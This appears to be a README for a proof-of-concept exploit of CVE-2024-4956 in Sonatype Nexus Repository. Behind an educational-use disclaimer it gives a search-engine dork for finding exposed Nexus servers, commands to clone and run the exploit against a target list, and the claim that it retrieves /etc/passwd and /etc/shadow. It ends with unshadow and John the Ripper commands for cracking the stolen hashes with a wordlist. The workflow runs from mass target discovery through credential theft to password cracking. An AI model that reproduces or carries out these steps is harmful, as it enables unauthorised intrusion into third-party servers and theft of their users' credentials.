Disclaimer: This Proof of Concept (POC) is made for educational and ethical testing purposes only. Usage of this tool for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state, and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.
To find potential targets, use Fofa (similar to Shodan.io):
- Fofa Dork:
header="Server: Nexus/3.53.0-01 (OSS)"
First, clone the repository:
git clone https://github.com/verylazytech/CVE-2024-4956Next chose your target and add it to list.txt file in this format:
- https://ip_address
Run the Exploit:
python3 CVE-2024-4956.py -l list.txtThe output is passwd and shadow files that found:
Now after you find both file passwd & shadow you can try crack the hash with JohnTheRipper, after running the exploit you have 2 files, passwd & shadow, so you can merge them into one file and try crack them (I used rockyou.txt but it can be any password wordlist):
unshadow passwd shadow > unshadowed.txt john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
